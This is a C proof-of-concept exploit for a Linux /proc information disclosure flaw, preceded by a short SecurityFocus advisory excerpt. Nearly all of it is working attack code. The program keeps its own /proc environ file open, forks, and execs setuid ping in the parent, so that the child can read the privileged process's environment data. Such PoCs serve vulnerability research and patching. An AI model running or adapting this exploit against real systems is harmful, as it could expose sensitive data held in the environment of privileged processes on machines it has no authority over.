/*
source: https://www.securityfocus.com/bid/8002/info
A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information.
*/
/****************************************************************
* *
* Linux /proc information disclosure PoC *
* by IhaQueR *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
static char buf[128];
void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}
printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}
int main()
{
int fd, r;
char c;
sprintf(buf, "/proc/%d/environ", getpid());
fd = open(buf, O_RDONLY);
if (fd > 0) {
sprintf(buf, "/proc/%d", getpid());
if (fork()) {
printf("\nparent executing setuid\n");
fflush(stdout);
execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
fatal("execl");
} else {
sleep(1);
printf("\nchild reads parent's proc:\n");
fflush(stdout);
while (1) {
r = read(fd, &c, 1);
if (r <= 0)
break;
printf("%c", c);
}
printf("\n\nContent of %s\n", buf);
fflush(stdout);
execl("/bin/ls", "ls", "-l", buf, NULL);
}
} else
fatal("open proc");
printf("\n");
fflush(stdout);
return 0;
}Data
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